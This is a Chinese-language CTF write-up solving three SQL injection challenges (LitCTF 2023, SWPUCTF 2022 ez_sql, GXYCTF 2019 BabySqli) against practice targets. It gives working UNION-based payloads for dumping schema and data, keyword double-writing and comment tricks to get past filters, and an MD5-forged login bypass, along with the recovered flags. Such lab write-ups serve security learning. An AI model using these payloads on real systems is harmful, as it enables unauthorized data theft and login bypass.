[LitCTF 2023]這是什麼?SQL !注一下 !
[SWPUCTF 2022 新生賽]ez_sql
[GXYCTF 2019]BabySqli
點選右下角文章可跳轉
[LitCTF 2023]這是什麼?SQL !注一下 !
首先我們開啟靶場檢視資訊,提示了閉合方式為id = (((((())))))
然後我們進行判斷回顯位,用order by或group by都可以,會發現2有回顯,3沒有回顯,所以回顯位為2。如果細心可以發現題目也有提示username,password也可以猜測回顯位為2,如果保險起見也可以測試一下
接下來就是進行查詢資料庫的操作,一般來說我們用http://node5.anna.nssctf.cn:28411/?id=1)))))) union select 1,database() --+這種語句來查詢,但這道題資料庫有很多,而且直接查出來的資料庫得到的flag是假的,所以我就不演示了,你們可以自己查檢視,我們直接查詢全部資料庫名
我用的是union select 1,schema_name from information_schema.schemata--+來查詢
可以看到有幾個很可能存在flag的資料庫 ctftraining和ctf,這裡我就直接跟大家說第一個存在真的flag。然後進行常規的sql注入
第一步,查表名 union select 1,group_concat(table_name)from information_schema.tables where table_schema='ctftraining'--+
可以看到有一個叫flag的表名,
第二步,查列名:union select 1,group_concat(column_name)from information_schema.columns where table_name='flag'--+
最後再查詢一下這個叫flag的資料就可以得到flag
union select 1,group_concat(flag)from ctftraining.flag--+
[SWPUCTF 2022 新生賽]ez_sql
上來給了一波提示,相對安全的傳參意思就是POST傳參,還直接提示了引數是nss,我們先嚐試隨便輸個數字,直接給了flag,但是這flag一看就是假的
然後用nss1 and1=1 這種手段判斷型別,這題是字元型我就不演示了,然後我們要去判斷回顯數,會發現or和空格都被過濾了
然後我們用雙寫or繞過,用/**/代替空格,對了這裡--+也被過濾了,我們可以用#號帶替--+
我們再試一次 nss=1'/**/oorrder/**/by/**/3#
如果是4的話會報錯,所以回顯數為3
然後我們用聯合查詢去查資料庫名,這道題的union也被過濾了,同樣我們雙寫繞過 nss=1'/**/uniunionon/**/select/**/1,2,database()/**/limit/**/1,1#
後面用了limit 1,1,因為第一個回顯位沒有我們要的資訊,我們需要跳轉到第二個回顯位,所以得到資料庫名,NSS_db
下一步就是查表名 nss=1'/**/uniunionon/**/select/**/1,2,group_concat(table_name)from/**/infoorrmation_schema.tables/**/where/**/table_schema='NSS_db'/**/limit/**/1,1#
記得information裡面的or也需要雙寫
根據表名的格式估計flag在NSS_tb裡面,繼續查列名
nss=1'/**/uniunionon/**/select/**/1,2,group_concat(column_name)from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1#
再繼續查這裡面的資料 nss=1'/**/uniunionon/**/select/**/1,2,group_concat(id,Secr3t,flll444g)from/**/NSS_db.NSS_tb/**/limit/**/1,1#
得到flag:NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}NSSCTF{b734ae20-5169-4ce2-8fce-9e3a4f0c7830}
[GXYCTF 2019]BabySqli
這道題差點把我繞懵了
首先我們開啟環境是一個登入介面,先嚐試一下萬能密碼啥的,我這裡先直接抓包,在burpsuit裡面操作,傳送到中繼發現有一串神秘字母
拿去解密一下,發現是base32和base64的加密,解密得到 select * from user where username = '$name'
這段程式碼的意思是檢索你輸入的username是否在資料庫中存在,我們可能就大致對這道題的查詢有點數,我們去測試一下回顯
注意這裡是過濾了or的用大小寫繞過,發現為4時報錯,說明回顯有三個,但如果我們去實際查詢表名列名會發現很難查出來,因為這道題的過濾非常嚴格。
那我們要用做題的經驗來看,這是一道登入的介面,而列數又是三列,那估計三列分別對應id,username,password。再結合一開始解密的資訊,依次去查詢是否存在資料,那這三列就很有可能了
再加上我們可以發現,當我們隨便輸入賬號密碼時,彈出的是 wrong user!
當我們賬戶是admin時,彈出的是 wrong pass!
說明admin這個賬戶是存在的,但是我們不知道admin在第幾列,我們可以去試一試,當放在第一列時:
提示使用者名稱不對
放在第二列時,顯示wrong pass! 說明username正確
我們知道了賬號,那我們得知道密碼才能登入成功,這裡有一個知識點:mysql在查詢不存在的資料時會自動構建虛擬資料,一般資料要麼明文,要麼MD5;
我們不知道密碼我們可以去構造密碼,用md5的形式,就比如我輸的密碼是123,那我用md5加密後輸入到第三列,那也可以完成查詢,登陸成功
123經過md5加密後結果為:202cb962ac59075b964b07152d234b70
下面實踐:
得到flag:
NSSCTF{ce21b171-dc0b-4b09-a56d-d6cd629ae515}
這題的密碼不是唯一的,隨便你密碼是什麼,自己構造,md5加密輸入進去就行啦